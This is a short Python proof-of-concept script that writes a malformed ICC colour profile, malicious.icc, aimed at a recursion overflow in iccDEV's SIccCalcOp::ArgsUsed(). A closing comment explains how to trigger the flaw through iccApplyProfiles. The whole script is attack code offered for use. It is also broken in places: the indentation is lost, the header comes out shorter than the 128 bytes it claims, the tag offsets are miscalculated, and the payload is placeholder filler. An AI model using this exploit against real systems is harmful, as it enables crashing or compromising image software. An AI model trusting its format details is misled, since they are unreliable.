import struct
# Generate a malicious ICC profile header
# This is a conceptual PoC. The actual trigger requires specific malformed calculator tags.
# that cause SIccCalcOp::ArgsUsed() to recurse too deep.
def create_malformed_icc(filename):
with open(filename, 'wb') as f:
# ICC Profile Header (128 bytes)
# Profile size (set to a small value, but tags will extend it)
f.write(struct.pack('>I', 0))
# CMM Type 'acsp'
f.write(b'acsp')
# Profile version 2.3.0
f.write(struct.pack('>I', 0x2300000))
# Profile/Device class (e.g., 'prtr' for printer)
f.write(b'prtr')
# Color space (e.g., 'RGB ')
f.write(b'RGB ')
# PCS (e.g., 'XYZ ')
f.write(b'XYZ ')
# Date/Time (12 bytes, dummy)
f.write(b'\x00' * 12)
# Magic signature 'acsp'
f.write(b'acsp')
# Platform signature (dummy)
f.write(struct.pack('>I', 0))
# Flags (dummy)
f.write(struct.pack('>I', 0))
# Manufacturer (dummy)
f.write(struct.pack('>I', 0))
# Model (dummy)
f.write(struct.pack('>I', 0))
# Attributes (dummy)
f.write(struct.pack('>I', 0))
# Rendering Intent (dummy)
f.write(struct.pack('>I', 0))
# Illuminant (XYZ Number, dummy)
f.write(struct.pack('>III', 0, 0, 0))
# Creator (dummy)
f.write(struct.pack('>I', 0))
# Profile ID (16 bytes, dummy)
f.write(b'\x00' * 16)
# Reserved (28 bytes)
f.write(b'\x00' * 28)
# Tag table entry count (1 tag)
f.write(struct.pack('>I', 1))
# Tag Table Entry (开始于偏移 128)
# Tag signature: 'mluc' or similar, but we need a calculator tag (e.g., 'bfd ')
# In a real exploit, this tag data would be crafted to cause the overflow.
tag_sig = b'bfd ' # Basic Formula Type (example)
tag_offset = 128 + 4 + 12 # Header + Tag Count + Tag Entry Size
tag_size = 1000 # Arbitrary size
# Write Tag Entry
f.write(tag_sig)
f.write(struct.pack('>I', tag_offset))
f.write(struct.pack('>I', tag_size))
# Write Tag Data (Malformed content)
# This content would typically be a formula that triggers the overflow in ArgsUsed()
f.write(b'A' * tag_size)
if __name__ == '__main__':
create_malformed_icc('malicious.icc')
print('Malformed ICC profile generated: malicious.icc')
# To trigger the vulnerability, load this file using iccApplyProfiles in iccDEV < 2.3.1.6